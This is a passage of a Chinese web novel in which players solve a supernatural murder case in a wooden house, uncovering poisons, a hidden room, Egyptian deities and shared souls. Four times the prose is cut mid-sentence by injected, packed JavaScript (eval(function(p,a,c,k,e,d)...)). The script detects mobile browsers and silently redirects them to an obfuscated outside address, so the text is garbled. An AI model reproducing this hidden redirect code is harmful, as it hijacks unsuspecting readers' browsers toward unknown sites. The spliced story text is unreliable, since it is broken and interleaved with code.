查看完风韵女人的家后,他们又回到死者所在的木楼。 从院门进去,再进入双开的木门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139225|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便来到一楼,秦轻决定先从弟弟这个角色的卧室开始查起。 拧下门把,却没推动,原来弟弟的房门上了锁,慕容断没有原身的记忆,只好问秦轻借了个发夹,手动开锁。 待门推开的刹那,秦轻鼻尖微动,对于血腥味极敏感的她,若有似无地嗅到了些许,可不能确定。 因为房间内还有其他的刺激性气味,对她的嗅觉形成干扰。 当门完全打开后,首先映入眼帘的是一个玻璃瓶,里面泡着一个剖了表皮的□□,瓶中的液体正是福尔马林。 除了秦轻以外,另外两名女士当场就表示受不了,无论是福尔马林的气味,还是那泡在瓶里的□□,无一不刺激着她们的感官。 书桌上放着一排医学书籍,还有几把锋利的手术刀。 秦轻不由得挑了挑眉,看来弟弟这个角色还是个医学生? 慕容断的表情欲言又止的厉害,不知怎的,他越来越觉得自己所扮演的这个角色不简单。 卷发女子打开衣柜一看,差点被吓出心脏病:“头……人头!” 众人闻言一惊,赶紧围过来一看,只见衣柜的最上面一层摆着一个“人头”,人头背对着他们,只能看见拖曳的极长的发丝。 秦轻伸出了手,待触碰到人头后,指尖不由得一顿:“不是人头,只是一顶由真人发丝织成的假发。” “呼……是这样啊,吓死我了。”卷发女子捂住胸口,长长地吐出一口气。 “看!这里居然还有一条长裙!” 卷发女子刚刚精神松快了些,眼一瞥,就瞧见衣架上挂着的某件衣服,顿时惊讶不已。 所以,弟弟究竟是一个隐藏的女装癖,还是说,这些东西都是他女朋友的? 当然还有一个更恐怖的联想,浮现在她的心头。 假发、长裙、手术刀、死者身上的切口…… 邻居曾说在案发时间之前,曾看见一个女人进入过院里。 难道凶手就是……卷发女子看向慕容断的眼神,暗藏惊惧! 她的微表情没有瞒过慕容断的视线,他情不自禁地苦恼,如果对方知道原身是在装残,估计更会坚定弟弟就是凶手的决心。 秦轻却是没说什么,因为只要没有找到凶器,再多的发现,也只是推测而已。 接下来就轮到同住一楼的,秦轻所扮演的妹妹角色的房间了。 妹妹的房门也被上锁,好在秦轻的口袋里贴身放着钥匙。 推门进去后,第一感觉就是太干净了,可以说是过分干净,一切地摆放的整整齐齐,而且屋内的陈设过分的简单了。 就像是被人特意清理过一遍似的,尤其是衣柜,最上面一层放着原身的衣物,下面几层却是空空如也,真的很奇怪。 秦轻下意识地伸出手去,在空荡荡的衣柜里左右摸索,她怀疑里面有个隐藏的空间。 便不由得屈指敲击起来。 “咚、咚!” 秦轻秀眉轻蹙,这声音不对!柜子紧贴的这面墙并不是实心的,难道墙里真有个隐藏空间? 她不动声色地收回手去,暗暗决定一定要找个机会一探究竟。 最后便轮到姐姐的二楼房间。 刚推门进去,视线便被一大束鲜花占据。 16. 副本一 这束血红的鲜花不是别的品种,正是玫瑰,象征爱情的玫瑰。 将门完全推开后,鼻尖已经充斥来自玫瑰的甜腻香气,但夹杂其间的,似乎还是有股淡淡的血腥味,秦轻一度觉得是自己的嗅觉失灵。 或者太过紧张,导致的嗅觉紊乱,不然怎么自从回到这座木楼后,无论检查哪间房间,都觉得有种隐隐的血气,就算是秦轻所附身的角色房里,尽管过分的整洁干净,她依然嗅到了某种类似于铁锈的气息。 “10、20……90、100、111。” 女人的骨子里面始终是追寻浪漫的,卷发女子作为眼前这间玫瑰飘香的房间主人,开始下意识地数起了玫瑰的朵数:“111朵,象征一生一世唯爱一人,真是彻骨的浪漫。” 她附身轻嗅那艳红似血的花朵,沉醉在浓郁醉人的香气里。 “恋爱期,而且多半是处于热恋的状态。” 风韵女子像是被眼前的繁花迷住了,忍不住一边抚摸着柔嫩的花瓣,一边呢喃。 秦轻的视线扫过书桌上的一叠书籍,不禁挑了挑眉,神秘学、占星学、占卜…… 桌面上还放着一副塔罗牌,和单独拿出来的、横向排列的三张牌。 分别是逆位的恋人牌——经不起诱惑、爱情挫折。 逆位的死神牌——毫无生机、无法改变。 正位的高塔牌——灾难、崩溃。 “如果是热恋期,说明姐姐这个角色对她的恋人没信心啊。”慕容断此时凑了过来,一看牌面,尤其是打头的恋人牌,就足以猜到占卜者问的是怎样的问题。 秦轻对此没有发表意见,她只是扭头看向了墙上放置的神龛,神龛内有一位神灵,他浑身赤裸,身量不高,身上长着狮鬃,脑袋像是直接架在脖子上,双腿呈现罗圈状,头上戴着羽毛饰品。 但他的眼神却很和善。 贝斯是他的名字,他是古埃及家庭的保护神,尤其保护妇女和儿童。 “阿轻,你在想什么?”慕容断顺着秦轻的视线,自然也瞧见了墙上的神龛,可却不知那里安放的神灵是谁。 秦轻张了张口:“我在想,如果村里人都很迷信,那么家家户户都应该很崇拜神灵吧,可我们检查了多个房间,只有姐姐的这间卧室里供奉着神龛。” 连死者的房间也没有。 究竟是死者和他的弟弟、妹妹不信神,还是他们的供奉不可说,所以只得秘密进行? 如果是后者,那就说明木楼里有隐藏的房间,甚至还不止一个。 还有一点,让秦轻很是介意,桌子上摆放的三张牌面,真的只是占卜爱情吗? 她怎么总觉得姐姐像是对哥哥的死,早有预料了呢? “集体探查就到此结束,大家各自回到各自的房间,看看是否还能发现什么线索,晚上8点在死者的卧房门外集合。” 几人听了秦轻的安排,纷纷点了点头,往各自的目的地走去。 秦轻回到妹妹的房间,锁上门后,第一时间将衣柜推开,本以为要费一番力气,可是没想到木制的衣柜居然那么轻。 把衣柜完全移开,露出背后的墙面,从另一个角度再看衣柜,她才发现只有从正面看,衣柜的木料才是有厚度的,实际上它的背面和内侧就是很薄的一块板。 就像是障眼法。 或是某种为了偷工减料的视觉骗术。 但眼下的秦轻顾不得研究旁的,她的视线已经完全被裸露木墙上的印记吸引。 终于发现妹妹房间里供奉的神灵! 她被刻在了木墙之上,饱满的腹部和胸部,显示着她的女性特征,但这位站立的神灵,却拥有一颗河马的头部。 她侧身而立,手持T字型十字架,象征生命与永恒。 她叫塔瓦瑞特,是女性分娩时的守护神,同时也是邪神阿佩普的妻子。 正因为和邪神挂钩,塔瓦瑞特便只能悄悄供奉,不能为外人道也。 不过,女性分娩?难道妹妹一直想要怀上谁的孩子吗? 秦轻暗暗一惊,下意识地掀开这具躯体的衣服下摆,果然在肚脐眼上方画着一个T字型十字架的标志。 标志上有被狠狠擦拭的痕迹,可不知当初画它时的颜料是什么原材料制成,似乎一旦画上就很难消褪。 可擦拭的痕迹,也恰恰说明妹妹后悔了,又不想怀孕了。 眼前刻着神灵形象的木墙,很明显地看见暗门的痕迹,可尽管暗门近在咫尺,秦轻却一时无法打开,因为门上安放着一个凹陷的金属密码锁。 这是一个不知道几位数的密码。 键盘上有着26个字母,以及从0到9的阿拉伯数字。 秦轻陷入思索,她的眼神无意识地盯着刻于木墙的女神形象。 等等!她的瞳孔倏然睁大,塔瓦瑞特手里拿的十字架,多像一把放大的钥匙啊! 难道密码就是…… 她的大脑还没做好最后的判断,但她的指尖先一步行动了! 当柔软的指腹摁上某个字母,只听叮的一声!锁开了! 面对随时可以进入的暗门,秦轻却犹豫了片刻,这一刻,那扇门对于她来说,就像是潘多拉的魔盒,谁都不知道打开后,将面临什么。 如果妹妹才是真凶,那么她真要当众承认吗? 秦轻眼神稍显迟疑,很快转为坚定,伸出手掌,推门而入,内里的黑暗让她的双眼一阵不适,在内壁摸索着,寻到了一处凸起,是暗室里灯具的开关。 摁下之后,内里瞬间一片大亮,令秦轻惊愕的是,出现在眼前的并不是一间常规的暗室,而是一个向楼上延伸的狭窄形状。 从这里,直接就能去往二楼,而且看延伸的方位,与死者的卧室目测是一致的! 联系某个埃及神话,一个大胆而心惊的猜测,闪现在秦轻的脑海! 更不用提,她在里面的桌子上发现了占卜用的塔罗牌,其中恋人牌的牌面都泛起了褶皱,卡片的边缘亦是粗糙无比,显然是占卜了无数次的结果。 除此之外,还有制作毒药的书籍,以及简易的设备,从玻璃罐里的残存药粉来看,分明已经制作过多次。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164090|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只是不知道毒药的作用,究竟是致死,还是其他。 秦轻的目光落到一旁的小型冷藏柜,一股若有似无的尸臭从那里传出,直觉告诉她,或许此刻已经离凶杀案的真相很近了。 她闭了闭眼,将脑海中浮现的种种碎尸场景驱赶出去,缓缓地长舒一口气,才慢慢地打开柜门,印入眼帘的是被保鲜膜紧紧包裹的宠物尸体,不知是不是为了更好的观察毒药的效果。 那些宠物都被剔除了皮毛,在透明的紧缚的保鲜膜内,模样显得无比凄惨、狰狞。 好在秦轻见惯了更加狰狞的异尸,心理素质强大,才没被吓到。 出于职业习惯,她开始观察那些宠物的尸体,似乎是慢性毒药,但是积累到一定程度后,就能于某一瞬间像死神一样,收割性命。 她往下翻了翻,却惊异地发现越往下的宠物尸体,表情越是安详,不复狰狞扭曲。 所以,妹妹制作毒药的技术进步了,毒药进入躯体,几乎到了难以察觉的地步,即便是死神降临之时,恐怕也没什么异样的感觉。 不过,这真的是在如此落后的村落,所能达到的技术么? 秦轻心里的疑问越来越多,但可以确定的是,死者身上的毒素痕迹,必定是妹妹所为,只是未做进一步尸检前,不能确定死者体内的毒素就一定积累到了致死量。 可是如果凭借经验来看,秦轻觉得大概率是达到致死量的。 她在桌上找到了妹妹的手记,是一个召唤邪神的仪式,似乎是为了让某人爱上自己。 这个某人,从目前的种种迹象来看,好像就是死者。 因爱生恨,因为所爱之人爱上了别人,所以就毒死了对方。 在逻辑上讲,完全说的过去。 秦轻长叹一口气,她捏了捏眉心,开始在坦白和隐瞒之间,踌躇犹豫,忽然,一阵极强的困意袭来,让她的脚步不由自主地踉跄。 及时扶住内壁,掐了掐自己的手心,想用疼痛刺激清醒,可是困意如海浪般,一波又一波的涌来,她终是靠在墙壁上,缓缓地睡去。 在梦里,她从第三方视角,观看了妹妹这个角色的前半生。 她从小就和哥哥、姐姐、弟弟相依为命,从不知道父母是谁,甚至连她和她同住屋檐下的兄弟姐妹们有没有血缘关系都不知道。 但她一直讨厌着姐姐,因为姐姐太会伪装了,看上去很完美,可实际却最自私,姐姐骗过了所有人,占据了哥哥的大部分视线。 要知道,她最喜欢的家人就是哥哥了。 这种讨厌随着年岁的增长逐渐转为怨恨,与此同时,她也开始模仿姐姐,可总是像东施效颦似的滑稽。 姐姐学习神秘学,她也悄悄地学习了,为了不让别人发现,她趁着家人都不在的时候,偷偷请村里某个暗恋自己的木匠,修了这间暗室。 后来,木匠死了,是她用毒杀掉的第一个人,那时,她的毒药效果一般,死时非常痛苦。 她想,木匠临死前,肯定后悔喜欢她了。 不过,没关系,她只想要哥哥的喜欢啊。 17. 副本一 正如哥哥漫长的时光里,目光一直追随着姐姐一样,她的目光也一直追随着哥哥。 她的衣柜里也悄悄放置了哥哥的旧衣物,那都是穿破了洞被扔出门外,她又于暗夜时分,偷偷捡了回来,并藏匿起来。 一切就像她的心事似的,见不得光。 她本也没有指望见光的一天,她想,她、哥哥、姐姐,三人就这么维持着一种微妙的平衡,也挺好的,远望而永远不能拥有。 木匠修建的暗室,往上有两个通道,一个通往哥哥的卧房,另一个通往姐姐的卧室。 她不定时的监视着姐姐,是为了更好的模仿,而对于哥哥,却是隐秘的掌控欲作祟。 可没想到的是,哥哥率先打破了这个平衡,他按捺不住心里的憧憬,不仅写下了表明心迹的日记,更是选择了告白。 那一刻,她心里的恨意,从姐姐转到了哥哥身上,变成了爱恨交织、又爱又恨的绝响。 于是,她一方面开始给哥哥下毒,一方面频频勾引对方,希望用孩子来改变哥哥的想法。 塔瓦瑞特就是从那时开始供奉的。 她还从神秘学里寻找类似于情蛊的巫术,给哥哥下咒。 某天,酒醉的哥哥忽然抱住了她,热情洋溢地告白,她那个时候快活极了,险些以为咒术成功了! 可是哥哥随即呼喊的名字,粉碎了她的幻想。 尽管心脏痛到滴血,可注意到姐姐暗中窥探的视线后,她还是故作亲密地吻了吻哥哥的眉心,而后扬起脖子,就像美丽的黑天鹅似的,朝姐姐挑衅一笑。 看似她在那一刻胜利了,但只有她知道,恨意彻底压过了爱意。 她不想要哥哥的爱了,她只想要对方死去。 其实,促使恨压过爱的,远不止这一件事,还有她的暗室,不知何时被哥哥发现了,哥哥没有训斥她,而是第一时间改造了二楼的双向通道,变成了哥哥能从那里窥探姐姐。 而她再也无法去到姐姐的卧室前。 她的暗室,终于为他人做了嫁衣。 恨意上涌,毒药加大了剂量,只需…… 秦轻作为第三方视角,正观看到最关键的地方,忽然一切戛然而止,下一秒,秦轻睁开了双眼,视线立即被身旁泛光的天赋技能具像化之一的解剖刀吸引。 它怎么会出现的?她并没有唤醒它? 视线越过解剖刀,看向了卧室的窗外,天色已经大暗。 难道梦境的忽然中止,和时间有关?犹记得白天,根本就使不出异能。 可是,能使用异能,与梦境的中止又有何关联? 她左思右想,也想不出来,只觉得思绪被一层薄雾罩着,看似已经很近,可始终难窥全貌。 此时早就过了约定时间,她强行中断思绪。 快速洗了把脸,把暗室的门关上,再将衣柜推回原处,方才打开房门,去往二楼。 刚出房门,迎面就与一人遇个正着。 “阿轻……”慕容断的声音,在夜色摇曳的木楼里,恍若幽灵,配上他那恍惚的神情,就像是撞鬼了似的。 “你也做梦了?” 秦轻联系自身,不难猜出对方的遭遇。 “是啊,在梦里几乎度过了一个人的半辈子,苏醒后,有时都快分不清我究竟是谁了。” 慕容断声音很低,带着微微的喑哑,缓缓诉说着,忽然抬头看向秦轻:“弟弟不是杀人的真凶,他到死者卧室的时候,对方已经死了,而且心脏被人挖去,只是右手还在。” 他不禁回忆起梦里的情景,弟弟早就发现家人之间暗潮汹涌的情感流动,哥哥追逐着姐姐,妹妹追逐着哥哥,而弟弟则追逐着妹妹。 始终没有人戳破那层岌岌可危的窗户纸,因此四人便以一种微妙的平衡持续着这个早就隐隐畸形的关系。 直到哥哥按捺不住,主动向姐姐挑明了心意。 于是,平衡被打破了。 紧随而来的,他们都陷入求而不得的情感漩涡,痛苦、卑劣如影随形。 种种的负面情绪,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164091|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟弟变得人不像人,鬼不像鬼,他本就是活在悬崖边上的一株莬丝花,依靠家人的怜悯而活,所以,早就能正常站立的他,选择终年坐着轮椅装残。 唯有这样,他才能得到心上人那一点点的目光。 可家人间的平衡失去后,他在妹妹的眼里,再也看不见自己,这一切的一切都怪哥哥。 如果哥哥不存在就好了! 弟弟察觉到了妹妹下毒的事实,可他不知道毒药何时发作,哥哥何时才会死,可他不想再等了,他通过日记,知道哥哥今天要和姐姐约会,便决定在约会的时间到来之前,让哥哥永坠地狱! 只是等他穿上女装、戴上假发,携带手术刀,潜入哥哥的卧室后,却发现对方仰躺在血泊里,胸腔的心脏早已空空如也。 可令他惊异的是,尸体的脸庞上,尚未笼罩着一层浓重的死气。 弟弟甚至觉得哥哥的嘴唇轻轻颤动着,好像在呼吸。 他吓了一大跳!猛地刺了哥哥一刀,这一刀下去,他才确定对方早在自己到来之前,就已经死去。 秦轻听完了慕容断的梦境,在二楼死者卧室的门口,又遇到了同样精神恍惚,像是受到极大刺激的另外两名女子。 扮演姐姐角色的卷发女子,整个人哆哆嗦嗦,宛若得了癔症,一直用牙齿咬着指甲,口齿不清地自言自语,她眼神涣散,精神世界将要崩塌。 相比之下,风韵女人的精神状态要好不少,攥着一个帆布袋,里面似乎装着一些物品。 她眼神游移,偏偏不看布袋,似乎那里面的东西让她恐惧。 瞧见秦轻后,她呼出一口气,像是做出了什么艰难决定似的,把手里的东西递了过来。 “这是……”她嗫嚅着嘴唇,犹豫了片刻,缓缓说出了答案:“死者的断手。但真凶真的不是我所扮演的外村女人,她到达死者卧室的时候,他就已经死了。” “而且……”她闭了闭眼,眸色有些惊惶:“我总觉得她之所以出现在木楼,根本就是有人要陷害她!” 18. 副本一 陷害一词说出口的瞬间,卧房里的气氛一窒,连卷发女子都停止了神经质的行为,怔怔地望了过来。 “请你们相信我,我说的都是实情。” 风韵女子将梦境中的情景一五一十地复述:“我扮演的角色,入住这个村落的目的,是为了骗婚,而且她之前在其他地方已经成功骗婚多次,侵占了多名男士的财产,因此上了当地报纸的头版头条。” 说到这里,她顿了顿,似是觉得原身的行为有些难以启齿,可还是将从枕头里搜到的几张报纸递给了秦轻。 “我猜,她既不想整容,又想继续行骗度日,便选择来到这个落后而封闭的村落,就是觉得此处的消息不算灵通,她第一个盯上的人,就是死者。” 秦轻一边听着女子的诉说,一边接过报纸,从报纸的表面痕迹来看,已被翻阅多次,可整体看上去却很整洁,一看便知阅读者很是爱惜。 加上藏它的地点,又在枕头里,不难瞧出阅读者非常留念那段四处骗婚的岁月,并深深地引以为傲。 “后来的事,我想即便不用我说,你们也能猜到。她被死者拒绝了,还被狠狠地推了一下,那一下力气大到直接让她的肋骨骨裂,还是当着另一个女人的面。从此,她便对死者又恨又怕。” 风韵女子想起梦境里,那种被羞辱的感觉,如附骨之虫,日日夜夜啃食她的心,就觉得一阵阵的心有余悸。 可她到底不敢做些什么,想报复可是畏首畏尾。 直到今天下午收到了一张字条,字条上的话语充满了煽动性。 ——想报仇吗?那么就来吧,他就在那里,任你宰割。 她本想把字条看完就丢,可看完以后,魂就像是没了一半,如同被人下了降头。 想起字条里的“宰割”两字,默默地藏起一把菜刀,打开房门往死者的木楼去。 “我确定,她抵达死者卧室的时候,凶杀案已经发生,死者就是大家面前的这个状态,只不过右手确实是被她砍下的,因为当初就是这只手,给了她巨大的难堪。” 风韵女子因为激动,双颊变得通红,直到叙述完,方才长舒一口气。 “我不知道你们愿不愿意相信……” 她捏紧了垂于身侧的拳头,身躯微微颤抖,像是等待审判的人。 “我信你。” 秦轻拍了拍她的肩膀,“放松些,别这么紧张。” “谢谢,谢谢……”女子瞬间氤氲了双眼,晶莹的泪珠欲落不落。 “现在该你了。”秦轻看向不知何时已经安静下来的卷发女子,眸光如炬:“我猜,活剖心脏,致使死者死亡的人,就是你所扮演的姐姐吧。” 这话一出,犹如一石激起千层浪,尽管早有猜测,可真等脱口而出的一刻,所有人的心脏都像被雷霆击中似的。 “是……是我……”卷发女子的瞳孔大睁,如同望见了什么可怕的事物,她被梦境影响很深,已经分不清自己和所附身的角色。 她开始剧颤,从抖抖索索、七零八碎的讲述里,众人勉强拼凑出了凶杀案真相。 原来姐姐就如同妹妹所说,外表端庄大方,实际最是自私善妒,她是这个家里最早察觉到情感涌动的人。 也可以说,正是她的蓄意推动,才造成了异样情感的萌发。 哥哥私藏她的衣物,是她故意放纵的结果,妹妹修建暗室,也是她于暗中推波助澜。 她深知妹妹的嫉妒心,刻意诱导她学习毒术与邪术。 她打从心眼里不相信哥哥对自己的感情能长久,于是决定在二人感情看似最美的一刻,永久地封存下来,那便是杀死热恋期的哥哥,将那颗爱她的心夺走。 “人确实是我杀的,可你们又无辜吗?” 这一刻,卷发女子似乎和她扮演的角色融为一体,似癫非癫、似笑非笑地质问着在场的所有人。 “你,是想要毒杀他的,对吧?” 她指尖指向了秦轻,又很快移向坐着轮椅的慕容断:“你早就可以站起来了,你是想刺死他的,对吧?” “而你!有杀心却没胆量,可如果给你机会,你敢说你不想杀他?” 她最后指向风韵女子,癫狂大笑:“你的梦还没做完,所以一定不知道,你所扮演的外村女人,早就杀过人了,那几名被她骗婚的对象,有好几人都已经死了。” “包括他,开场就死掉的人,你们以为他的手里没有罪孽吗?” 卷发女子这一刻的感觉,状若恶鬼,仿佛离疯不远了。 “所以……是全员恶人的设定吗?” 慕容断不禁呢喃,他揉了揉眉心,感觉有些头疼:“现在所有人都不干净,该怎么办,全部送上绞刑架?哦,不对,第一个邻居说了,与魔鬼有关的话,那是直接处于火刑的。” 一想到要被活活地烧死,所有人都打了个寒颤。 慕容断继续分析道:“更何况,第三关何时结束,我们并不知晓,万一是把我们的灵魂往火上烤,灰飞烟灭都是轻的。” “小沙,你做梦了吗?” 就在众人犹豫不决的档口,秦轻忽然开口,说了这么没头没尾的一句。 “小沙是谁?这房间里,除了我们,还有别人吗?” 风韵女子不禁害怕地颤抖起来,她环紧双臂,惴惴不安地扫视着整个房间。 连窗外飘过一片落叶,她都像惊弓之鸟一样地蜷缩身体。 “喏,小沙就是死者啊。”秦轻指了指床上躺着的尸体,有点不好意思地眨了眨眼:“之前忘记说了,跟我同行的另一个朋友,就附身到了死者身上。” “啊?”风韵女子下意识地张大双唇,表情略呆。 “我去……”慕容断也跟着瞠目结舌,因为他也是被蒙在鼓里的那个。 紧接着,一个问题接踵而来:“他、就小沙,能说话吗?死了这么久,喉舌早僵硬了吧!” “我可以传音。” 沙利叶不太高兴的声调,不约而同地在所有人的脑海里响起。 “哈哈,原来是意识交流啊!” 慕容断笑的前仰后合,一想到沙利叶这么长时间就只能憋屈地躺在床上演尸体,他就难掩愉悦。 沙利叶发出几声冷笑,选择性地忽略某人,回答了秦轻的问题:“没有,我没有做任何梦。” “这就奇怪了。”秦轻下意识地呢喃,她咬紧下唇,陷入思索。 “这有什么好奇怪的,我们做梦,是因为我们灵魂所附身的是活人,而他所附身的却是个死人,能一样吗?” 慕容断不觉得这事有什么好推敲的。 可他言辞里的“灵魂”二字,却如同一道闪电,劈过秦轻的头顶,那一刻,说是醍醐灌顶都不为过。 “我知道了!不仅仅是死人与活人的区别,更重要的是灵魂!阿努比斯只说我们的灵魂将附身在角色身上,并没有说取代原身的灵魂,所以,我们现在极大可能是双魂同体!” 秦轻这话,可谓是一语惊醒梦中人,一体双魂,想想就觉得鸡皮疙瘩都要起来了。 谁又知道,与原身的灵魂共存的结果,是和平相处,还是被伺机吞噬? 毕竟卷发女子在梦境里都已经出现了强烈的意识混乱,即便是秦轻、慕容断,也不敢说从梦里清醒的一刻,没有丝毫的不适。 “但这终究只是你的猜测。” 慕容断轻声提醒:“并没有什么事实依据。” “有。其中一个是心脏,你还记得在第二关的时候,阿努比斯将心脏放上天平的一端时,是怎么说的吗?” 秦轻直视慕容断,眸光流转,像是漫天的星河。 “称量灵魂的罪孽。” 未等对方开口,她便直接说了答案:“所以,你看,心脏和灵魂是挂钩的,从这点来看,我甚至有理由怀疑,这起凶杀案是故意设定剖心的一幕的,为的就是隐藏灵魂是以心脏为载体这一事实。” “可我总觉得,你这么解释可以,但其他解释也行。”慕容断怔愣半晌,笑容发苦,他摊了摊手,表示难以置信。 说白了,就是证据不够硬的意思。 秦轻能理解他的彷徨:“所以,接下来就要通过我的异能来确定了。” “你是说!”慕容断眸色一亮,他想起当初封印沙利叶部分灵魂的一幕,难道阿轻想要故技重施吗? 果不其然,下一刻,娇小女子手里就出现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164092|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只笔。 当封印笔出现的刹那,秦轻看见了在场的活人头顶,都有两个灵魂图标。 她举起封印笔,毫不犹豫地对准自己的心脏扎下去。 【灵体名称:奈芙蒂斯(部分)】 封印笔穿过□□,直抵胸腔,对心脏内隐藏的灵体造成伤害。 【当前灵魂体量:99(可封印)】 【封印完成,恭喜,你的召唤图卷又添一员】 【灵体奈芙蒂斯(部分)将为你带来灵魂保护的功能,由于灵体体量过低,该功能每隔七天,只可开启5秒,5秒以内将免疫神级以下敌人的一切灵魂伤害】 最后还有一排小字,该灵体已遭遇不明污染,如不尽快净化,将造成不可控的影响。 秦轻快速地浏览过后,便拔出封印笔,对准慕容断的心口刺去。 速度快成一道残影,还没等慕容断做出反应,封印似乎就已经完成了,他明显感觉身体和心灵都松快了不少。 “阿轻,快让我瞧瞧原身的灵魂,我倒要问问他,和我同处一具躯体,究竟有何目的。” 慕容断叫嚣着想看,秦轻没有选择搭理,而是举起封印笔,飞快地对准另外两名女子的胸膛。 在封印笔的视野里,只要是灵魂,就无处躲藏。 卷发女子之后将姐姐藏匿的死者心脏找出来,交到秦轻的手里。 当封印笔刺穿心脏的那一刻,所有角色灵魂都被封印。 弟弟对应赛斯、姐姐对应伊西斯、哥哥对应欧西里斯。 村外的女子,则对应塔瓦瑞特。 被封印的部分灵体,赛斯带来力量功能,但每周仅能使用一次,每次持续一分钟。 伊西斯则是濒死之际,延迟死亡的降临,一个月一次,每次持续十分钟。 欧西里斯是治愈与恢复,使用次数一天两次,但持续时间不长,一次仅十秒。 召唤塔瓦瑞特,将拥有诱惑男人的魅力,可失败率极高。 四个灵体的下方都有一行与奈芙蒂斯相同的小字。 封印完原身灵魂后,紧随而来的问题是,三天后村里对于凶杀案的审判该怎么办,如果不交出真凶,那么便是由全村票选,票选的对象还没有人数的上限。 换句话说,如果村里人觉得他们几个人都有嫌疑,完全可以一网打尽,全送进火刑现场。 虽然他们所扮演的原身,没有一个无辜,可事到临头,谁都不想死。 秦轻已经开始考虑有什么秘术,能让死者短暂复活,哪怕是障眼法都行,只要能骗过三天后的审判。 “我倒是可以使用符咒,但邪性很重,就怕村里人瞧出端倪来。” 慕容断作为天师,除了邪符外,还可以把尸体炼成能跳会动的僵尸,但无一不是阴邪法子。 “或许,我能做到。” 就在众人一筹莫展之际,沉默许久的沙利叶淡淡开口。 虽然他是堕天使,但毕竟曾经是天使,还是能力极强的天使,让一个死者短暂的复活,并不是什么难如登天的事。 “要付出什么代价吗?或者,需不需要我将死者的灵魂归还?” 秦轻从沙利叶的沉默中,察觉到了几分难言的压力。 “倒也不用,只是要牺牲我收藏的某件珍品,有些舍不得,也有些选择困难症罢了。” 沙利叶说着让人听不懂的话,可语调里的纠结、沉郁,不免刺激着每一个人的心。 若是沙利叶真能让死者复活,就相当于救了大家的命,大家怎能看他独自痛苦踌躇呢。 “你有什么困难就说啊,我们可以帮你一起出主意的。” 秦轻握紧双拳,眸色坚定。 “真的吗?”沙利叶语调一变,变得扭捏起来:“其实也没什么,就是施展治愈术的同时,需要将一个灵魂附到死者的身上,我之前搜集了不少濒死美少年的灵魂,那都是等价交换来的珍贵藏品,那些美少年美的各具特色,我实在挑不出最丑的那个,就好纠结啊!” 秦轻:“……”呃! 慕容断:“……”噗! “你傻了吗!究竟是命重要,还是颜重要?”秦轻忍不住想打他!